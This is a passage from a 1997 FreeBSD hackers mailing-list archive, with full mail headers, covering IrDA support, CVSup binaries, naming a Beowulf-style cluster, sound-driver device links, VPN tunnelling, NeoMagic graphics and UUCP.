IrDA Date: Tue, 07 Oct 1997 08:00:31 +0900 Message-ID: <8048.876178831@coconut.itojun.org> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I'm looking at getting a portable Dell which claims to have IrDA. I >also just got a Halted catalog that has an ISA IrDA card from IBM. >Would I be nuts to expect these two things to talk to one another? Is >there anything magical about IrDA, or can I just run SLIP/PPP over >them like any other serial port? Also, if I'm running Win95, can I >run PPP over IrDA? If I read things, it is just a serial port, right? >The ISA IrDA card is for my FreeBSD box, so I'd need to know what >support is present there for IrDA. IrDA is made up from very huge amount of code. InfraRed serial port on your Dell can be understood as half-duplex serial line. The point is, if A sends bytestream while B is sending something, bytestream will be smashed. To make it look like a standard serial line, IrDA implements serial line emulation protocol over (connection oriented protocol over (packet based protocol over (half-duplex serial line))). serial line emulation protocol connection oriented protocol packet based protocol half-duplex serial line hardware We (colleagues and me) thought about how to implement this several times, but we felt amount of code > amount of benefit, so we haven't started. You can grab specifications as PDF files, from www.irda.org. itojun From owner-freebsd-hackers Mon Oct 6 17:02:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA09401 for hackers-outgoing; Mon, 6 Oct 1997 17:02:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA09393 for ; Mon, 6 Oct 1997 17:02:34 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xIN6X-0003Da-00; Mon, 6 Oct 1997 18:02:25 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id SAA17812; Mon, 6 Oct 1997 18:03:59 -0600 (MDT) Message-Id: <199710070003.SAA17812@harmony.village.org> To: itojun@itojun.org Subject: Re: IrDA Cc: freebsd-hackers@freebsd.org In-reply-to: Your message of "Tue, 07 Oct 1997 08:00:31 +0900." <8048.876178831@coconut.itojun.org> References: <8048.876178831@coconut.itojun.org> Date: Mon, 06 Oct 1997 18:03:59 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <8048.876178831@coconut.itojun.org> itojun@itojun.org writes: : IrDA is made up from very huge amount of code. ... : We (colleagues and me) thought about how to implement this several : times, but we felt amount of code > amount of benefit, : so we haven't started. ... : You can grab specifications as PDF files, from www.irda.org. Thanks for the pointer. I'll see if my benefit is > amount of code or not. Warner From owner-freebsd-hackers Mon Oct 6 17:27:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA10683 for hackers-outgoing; Mon, 6 Oct 1997 17:27:02 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA10678 for ; Mon, 6 Oct 1997 17:26:59 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id RAA07197; Mon, 6 Oct 1997 17:26:02 -0700 (PDT) To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) In-reply-to: Your message of "Mon, 06 Oct 1997 19:48:54 +0200." <19971006194854.MT02377@uriah.heep.sax.de> Date: Mon, 06 Oct 1997 17:26:02 -0700 Message-ID: <7194.876183962@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Jordan, feel free to go ahead re-enabling the old config file parsers > for the true masochists. :-) Hey, I'm not touching this stuff. I'm just not enough of a masochist myself, sorry. ;-) Jordan From owner-freebsd-hackers Mon Oct 6 17:39:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA11281 for hackers-outgoing; Mon, 6 Oct 1997 17:39:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from zeus.xtalwind.net (serial.xtalwind.net [205.160.242.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA11276 for ; Mon, 6 Oct 1997 17:39:11 -0700 (PDT) (envelope-from jack@diamond.xtalwind.net) Received: from localhost (zeus.xtalwind.net [127.0.0.1]) by zeus.xtalwind.net (8.8.7/8.8.5) with SMTP id UAA12473; Mon, 6 Oct 1997 20:38:52 -0400 (EDT) Date: Mon, 6 Oct 1997 20:38:52 -0400 (EDT) From: jack X-Sender: jack@zeus.xtalwind.net To: Richard Wackerbarth cc: hackers@FreeBSD.ORG Subject: Re: Help finding CVSup 15.2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 6 Oct 1997, Richard Wackerbarth wrote: > At John's request, I upgraded to the latest CVSup. > (He's OOT. Otherwise I would have just asked him to help solve this) > > Unfortunately, the package needs some "X" libraries. I don't have them on > my servers. > > Can someone point me to a version of CVSup 15.2 that is linked without > using the graphical libraries? * ftp://hub.freebsd.org/pub/CVSup/cvsup.nogui-bin-15.2.tar.gz (client without GUI). -------------------------------------------------------------------------- Jack O'Neill Finger jacko@diamond.xtalwind.net or jack@xtalwind.net http://www.xtalwind.net/~jacko/pubpgp.html #include for my PGP key. PGP Key fingerprint = F6 C4 E6 D4 2F 15 A7 67 FD 09 E9 3C 5F CC EB CD -------------------------------------------------------------------------- From owner-freebsd-hackers Mon Oct 6 18:24:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA14124 for hackers-outgoing; Mon, 6 Oct 1997 18:24:32 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA14119 for ; Mon, 6 Oct 1997 18:24:29 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id SAA00826; Mon, 6 Oct 1997 18:23:05 -0700 (MST) From: Terry Lambert Message-Id: <199710070123.SAA00826@usr08.primenet.com> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD To: jbryant@tfs.net Date: Tue, 7 Oct 1997 01:23:05 +0000 (GMT) Cc: tlambert@primenet.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710062115.QAA04353@argus.tfs.net> from "Jim Bryant" at Oct 6, 97 04:15:04 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I vote for "Legion", because of the obvious tip of the hat to Chuck... > > No. Reasons: read bible, or watch Red Dwarf episode by same name, in > neither of which was the character Legion very successful. Heh. The first was not successful because of a priveledged user override. The second wasn't successful because it didn't have memory protection. ;-). Unfortunately, if you are looking for a cool name, you are going to be reusing one. The latest incarnation appears to be "Javelin", a loosely coupled, massively parallel JVM type thing. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Oct 6 18:49:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA15707 for hackers-outgoing; Mon, 6 Oct 1997 18:49:04 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA15692 for ; Mon, 6 Oct 1997 18:48:57 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id LAA25687; Tue, 7 Oct 1997 11:18:45 +0930 (CST) Message-ID: <19971007111845.12924@lemis.com> Date: Tue, 7 Oct 1997 11:18:45 +0930 From: Greg Lehey To: Warner Losh Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: IrDA References: <199710061727.LAA14616@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <199710061727.LAA14616@harmony.village.org>; from Warner Losh on Mon, Oct 06, 1997 at 11:27:59AM -0600 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Oct 06, 1997 at 11:27:59AM -0600, Warner Losh wrote: > > I'm looking at getting a portable Dell which claims to have IrDA. Not directly relevant, but do you know that the graphics chipset (NeoMagic) isn't supported? Greg From owner-freebsd-hackers Mon Oct 6 18:59:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA16407 for hackers-outgoing; Mon, 6 Oct 1997 18:59:30 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA16324; Mon, 6 Oct 1997 18:56:40 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id SAA03145; Mon, 6 Oct 1997 18:55:46 -0700 (MST) From: Terry Lambert Message-Id: <199710070155.SAA03145@usr08.primenet.com> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD To: nate@mt.sri.com (Nate Williams) Date: Tue, 7 Oct 1997 01:55:45 +0000 (GMT) Cc: tlambert@primenet.com, adrian@virginia.edu, rminnich@sarnoff.com, dcarmich@mcs.com, freebsd-hackers@freebsd.org, freebsd-smp@freebsd.org In-Reply-To: <199710062126.PAA01718@rocky.mt.sri.com> from "Nate Williams" at Oct 6, 97 03:26:34 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > > I vote for "Legion", because of the obvious tip of the hat to Chuck... > .. > > Chuck is the BSD Daemon. "Legion" is a biblical reference; do the > > math. 8-). > > Legion in the Bible is translated to mean 'more than one Demon' (note > the difference in spelling. Chuck is a singular entity, and one whose > purpose is to do good, not evil. Actually, "I am Legion (capital 'L') for we are many". So it was "many Demons". A Daemon is more properly compared with a Homonculus or Imp, I suppose, though I have met more than one person who, wearing a BSD Daemon shirt, was accused of "promoting devil worship". If you want to reference it with less alchemic and/or Biblical/Diabolical overtones: And forth he cald out of deepe darknes dredd Legions of Sprights, the which, like litle flyes Fluttering about his ever-damned hedd, Awaite whereto their service he applyes, To aide his friendes, or fray his enimies. Of those he chose out two, the falsest twoo, And fittest for to forge true-seeming lyes: The one of them he gave a message too, The other by him selfe staide, other worke to doo. -- The Faerie Queene, Book One, Canto I Which covers a cluster virtual machine ("true-seeming lyes": it's not a real single machine), and both message passing and multitasking. 8-). Hmmm... "Alchemy" has about the right ring to it, too. Plenty of cool names out there... ;-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Oct 6 19:25:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA18049 for hackers-outgoing; Mon, 6 Oct 1997 19:25:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from xioa.cosmic.org (jwb@xioa.cosmic.org [206.151.181.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA17987 for ; Mon, 6 Oct 1997 19:24:15 -0700 (PDT) (envelope-from jwb@xioa.cosmic.org) Received: (from jwb@localhost) by xioa.cosmic.org (8.8.7/8.8.5) id WAA07783 for hackers@freebsd.org; Mon, 6 Oct 1997 22:23:45 -0400 (EDT) From: Joe Beiter Message-Id: <199710070223.WAA07783@xioa.cosmic.org> Subject: PnP naivety To: hackers@freebsd.org Date: Mon, 6 Oct 1997 22:23:44 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I loaded Luigi's PnP and snd drivers and I now am able to cat au files out /dev/audio1 and sound does work.. however when I run au -aa or try to run raplayer they claim they can't open the device.. au -aa: Fatal server error: could not create audio connection block info ------------ raplayer just claims it cannot open the sound device. I did recreate the link from /dev/audio to /dev/audio1 lrwxrwxrwx 1 root wheel 11 Oct 1 21:44 /dev/audio -> /dev/audio1 and even tried just creating /dev/audio with mknod using the maj and minor numbers of /dev/audio1. Does anyone know what I am missing in this equation? - JoeB From owner-freebsd-hackers Mon Oct 6 19:43:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA19206 for hackers-outgoing; Mon, 6 Oct 1997 19:43:26 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA19198 for ; Mon, 6 Oct 1997 19:43:21 -0700 (PDT) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id TAA09123; Mon, 6 Oct 1997 19:41:05 -0700 (PDT) Message-ID: <19971006194105.38549@hydrogen.nike.efn.org> Date: Mon, 6 Oct 1997 19:41:05 -0700 From: John-Mark Gurney To: Wm Brian McCane Cc: hackers@FreeBSD.ORG Subject: Re: SKIP References: <199710062258.RAA04576@bmccane.uit.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199710062258.RAA04576@bmccane.uit.net>; from Wm Brian McCane on Mon, Oct 06, 1997 at 05:58:18PM -0500 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Wm Brian McCane scribbled this message on Oct 6: > Hello, > > I asked a while back about setting up a Virtual Private Network. > Many people suggested SKIP and 1 suggested swIPe. I have been looking at > the SKIP documentation, and I think we may have had a slight misunderstanding. > > From what I have read so far in the SKIP docs, it is to connect > Machine A to Machine B via a "secure" pipe. And I have seen a little > bit about possible connection Machine A to LAN C. But what I need to do > is connect LAN C to LAN D. Is this possible with SKIP, swIPe, or a > player to be named later? if you don't need extreme bandwidth.. then simply use iij-ppp... right now a friend and I are connected via a private network this way... he used to dial into my machine, but then moved to better connectivity, so now we just tunnle it down... the man page for iij-ppp pretty much describes what you need to do... ttyl.. -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Mon Oct 6 19:49:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA19564 for hackers-outgoing; Mon, 6 Oct 1997 19:49:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from wakky.dyn.ml.org (lee@1Cust32.max17.washington.dc.ms.uu.net [153.34.57.32]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA19552 for ; Mon, 6 Oct 1997 19:49:16 -0700 (PDT) (envelope-from lee@wakky.dyn.ml.org) Received: (from lee@localhost) by wakky.dyn.ml.org (8.8.5/8.8.3) id WAA14704; Mon, 6 Oct 1997 22:48:21 -0400 (EDT) Message-ID: <19971006224820.14366@wakky.dyn.ml.org> Date: Mon, 6 Oct 1997 22:48:20 -0400 From: Lee Cremeans To: Greg Lehey Cc: hackers@freebsd.org Subject: NeoMagic support (was: Re: IrDA) Reply-To: hcremean@vt.edu References: <199710061727.LAA14616@harmony.village.org> <19971007111845.12924@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <19971007111845.12924@lemis.com>; from Greg Lehey on Tue, Oct 07, 1997 at 11:18:45AM +0930 X-OS: FreeBSD 2.2-RELEASE X-Evil: microsoft.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, Oct 07, 1997 at 11:18:45AM +0930, Greg Lehey wrote: > Not directly relevant, but do you know that the graphics chipset > (NeoMagic) isn't supported? THis prolly isn't the place to ask, but does XFree86 expect to have any NeoMagic support soon? A friend of mine had to suffer through an X install on one of these, only to find out it wasn't supported... -- Lee C. -- Manassas, VA, USA (WakkyMouse on DALnet #watertower) A! JW223 YWD+++^ri P&B++ SL+++^i GDF B&M KK--i MD+++i P++ I++++ Did $++ E5/10/70/3c/73ac Ee34/1/36 H2 PonPippi Ay77 M | hcremean (at) vt.edu FreeBSD/Linux/Unix hacker...Win95 and M$ evil! (go see www.freebsd.org) My home page: http://wakky.dyn.ml.org/~lee | finger me for geek code From owner-freebsd-hackers Mon Oct 6 19:56:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA20024 for hackers-outgoing; Mon, 6 Oct 1997 19:56:55 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from coconut.itojun.org (root@coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA20014 for ; Mon, 6 Oct 1997 19:56:49 -0700 (PDT) (envelope-from itojun@itojun.org) From: itojun@itojun.org Received: from localhost (itojun@localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.8.5/3.6Wbeta6) with ESMTP id LAA12751; Tue, 7 Oct 1997 11:55:55 +0900 (JST) To: Greg Lehey cc: Warner Losh , freebsd-hackers@FreeBSD.ORG In-reply-to: grog's message of Tue, 07 Oct 1997 11:18:45 +0930. <19971007111845.12924@lemis.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: IrDA Date: Tue, 07 Oct 1997 11:55:55 +0900 Message-ID: <12747.876192955@coconut.itojun.org> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> I'm looking at getting a portable Dell which claims to have IrDA. >Not directly relevant, but do you know that the graphics chipset >(NeoMagic) isn't supported? NeoMagic 209[0-3] and 2160 are supported by recent beta release of AcceleratedX from XI graphics (www.xig.com). itojun From owner-freebsd-hackers Mon Oct 6 20:51:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA22489 for hackers-outgoing; Mon, 6 Oct 1997 20:51:32 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from stox.sa.enteract.com (stox.sa.enteract.com [207.229.132.161]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA22482 for ; Mon, 6 Oct 1997 20:51:28 -0700 (PDT) (envelope-from ken@stox.sa.enteract.com) Received: from localhost (localhost.stox.sa.enteract.com [127.0.0.1]) by stox.sa.enteract.com (8.8.7/8.6.12) with SMTP id WAA00843; Mon, 6 Oct 1997 22:50:37 -0500 (CDT) Date: Mon, 6 Oct 1997 22:50:37 -0500 (CDT) From: "Kenneth P. Stox" Reply-To: stox@enteract.com To: Terry Lambert cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710070123.SAA00826@usr08.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 7 Oct 1997, Terry Lambert wrote: >Unfortunately, if you are looking for a cool name, you are going to be >reusing one. The latest incarnation appears to be "Javelin", a loosely >coupled, massively parallel JVM type thing. > I used to drive a Javelin, somehow that name does not fill me with great confidence in performance. Wait a minute, "loosely coupled, massive," hey that does work. ;-> From owner-freebsd-hackers Mon Oct 6 21:25:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA23926 for hackers-outgoing; Mon, 6 Oct 1997 21:25:55 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA23911 for ; Mon, 6 Oct 1997 21:25:50 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id EAA07182; Tue, 7 Oct 1997 04:08:35 +0100 From: Luigi Rizzo Message-Id: <199710070308.EAA07182@labinfo.iet.unipi.it> Subject: Re: PnP naivety To: jwb@xioa.cosmic.org (Joe Beiter) Date: Tue, 7 Oct 1997 04:08:34 +0100 (MET) Cc: hackers@FreeBSD.ORG In-Reply-To: <199710070223.WAA07783@xioa.cosmic.org> from "Joe Beiter" at Oct 6, 97 10:23:25 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I loaded Luigi's PnP and snd drivers and I now am able to cat au files out > /dev/audio1 and sound does work.. however when I run au -aa or try to run > raplayer they claim they can't open the device.. > > au -aa: > Fatal server error: > could not create audio connection block info what is aa ? > raplayer just claims it cannot open the sound device. I did recreate the > link from /dev/audio to /dev/audio1 > > lrwxrwxrwx 1 root wheel 11 Oct 1 21:44 /dev/audio -> /dev/audio1 > > and even tried just creating /dev/audio with mknod using the maj and minor > numbers of /dev/audio1. > > Does anyone know what I am missing in this equation? not sure, but probably you also need to create links for /dev/dsp, /dev/dspW and /dev/mixer Cheers Luigi From owner-freebsd-hackers Mon Oct 6 21:27:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA24066 for hackers-outgoing; Mon, 6 Oct 1997 21:27:14 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA24046 for ; Mon, 6 Oct 1997 21:27:07 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: from argus.tfs.net (as1-p11.tfs.net [139.146.205.11]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id XAA23743; Mon, 6 Oct 1997 23:25:35 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.7/8.8.5) id XAA00475; Mon, 6 Oct 1997 23:26:57 -0500 (CDT) From: Jim Bryant Message-Id: <199710070426.XAA00475@argus.tfs.net> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710070155.SAA03145@usr08.primenet.com> from Terry Lambert at "Oct 7, 97 01:55:45 am" To: tlambert@primenet.com (Terry Lambert) Date: Mon, 6 Oct 1997 23:26:56 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > Legions of Sprights, the which, like litle flyes Sprite/Sprights/etc... indicates something small... this is big... > Which covers a cluster virtual machine ("true-seeming lyes": it's not > a real single machine), and both message passing and multitasking. fitting, but because of above bad... > Hmmm... "Alchemy" has about the right ring to it, too. Plenty of > cool names out there... ;-). Alchemy has negative implications. Failed attempts to make lead into gold. Visions of quacks, witch-doctors, and fortune tellers ["The Future Fair! A fair for all, and no fair to anybody!"]. I was being serious about HyperPool... Serious literature will love the name, and it sounds KEWL to the neophyte. The name matches the concept, and would also get serious literature talking about it. It is also in true Berkeley tradition. Leave the pet names for Linux, but BSD should demand RESPECT! For true supercomputing performance, use a FreeBSD HyperPool. This name ROX!@# "Follow the yellow rubber line to the WALL OF SCIENCE!" jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28pw voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Mon Oct 6 22:13:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA26894 for hackers-outgoing; Mon, 6 Oct 1997 22:13:36 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA26886 for ; Mon, 6 Oct 1997 22:13:32 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id OAA26234; Tue, 7 Oct 1997 14:42:57 +0930 (CST) Message-ID: <19971007144257.56917@lemis.com> Date: Tue, 7 Oct 1997 14:42:57 +0930 From: Greg Lehey To: pechter@lakewood.com Cc: "Jordan K. Hubbard" , dk+@ua.net, mike@smith.net.au, freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) References: <2369.876125643@time.cdrom.com> <199710061102.HAA01674@i4got.lakewood.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <199710061102.HAA01674@i4got.lakewood.com>; from Bill Pechter on Mon, Oct 06, 1997 at 07:02:55AM -0400 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Oct 06, 1997 at 07:02:55AM -0400, Bill Pechter wrote: >>> Who can decide on this? Is there a conspiracy behind it? ;-) >> >> Given that I don't particularly *care* about UUCP in the first place, >> I really don't mind what goes into 2.2.5 as far as this is concerned. >> >> Anyone masochistic enough to still use UUCP in this day and age is >> also capable of fixing any breakage that may occur, I think. Go for it. ;) > > Masochistic 8-) > > UUCP is much easier to configure than, say gated.conf! Interesting discussion. I didn't realize how many UUCP users there are still out there, and how protective they are :-) Greg From owner-freebsd-hackers Mon Oct 6 23:35:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA01574 for hackers-outgoing; Mon, 6 Oct 1997 23:35:25 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from werple.mira.net (werple.mira.net [203.9.190.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA01563 for ; Mon, 6 Oct 1997 23:35:22 -0700 (PDT) (envelope-from andrewb@mpa.oz.au) From: andrewb@mpa.oz.au Received: (qmail 25484 invoked by uid 5); 7 Oct 1997 06:35:19 -0000 Received: from melsvr by mpavic.mpa.oz.au id aa09096; 7 Oct 97 17:02 est Received: from [192.168.141.51] by melsvr.mpa.oz.au id aa08740; 7 Oct 97 17:12 EST Comments: Authenticated sender is To: hackers@freebsd.org Date: Tue, 7 Oct 1997 16:09:41 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: gateway problems Priority: normal X-mailer: Pegasus Mail for Win32 (v2.54) Message-ID: <9710071712.aa08740@melsvr.mpa.oz.au> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hey, I'm currently trying to configure a 2.2.2 as a gateway box for win95 pc's. A bit of background: The FreeBSD box has 2 network interfaces ed0 (inet 203.17.42.140, netmask 255.255.255.0) & ed1 (inet 192.168.141.130, netmask 255.255.255.0). I can verify that these are working correctly. The ed0 interface is on a real world subnet (connects via router/ISDN to our ISP), and our ed1 is an inhouse subnet. The current config does not allow win95 pc's access to the internet, although the FreeBSD box does, and I have the GATEWAY="YES" option in rc.conf. I also am using routed, although Im not sure of the difference b/w that and gated, and when either should be used. I have successfully configured a FreeBSD 2.2.1 box as a internet gateway using ppp/ed0 and have had no difficulties. Can somebody point me to where I am going wrong? Thanks, *------------------------------------------------* Andrew Brown Technical Support Division MPA Systems 141 Church St Hawthorn Melbourne Australia Ph +61 3 9810 9444 Fax +61 3 9810 9455 email: andrewb@mpa.oz.au *------------------------------------------------* From owner-freebsd-hackers Mon Oct 6 23:39:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA01781 for hackers-outgoing; Mon, 6 Oct 1997 23:39:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP 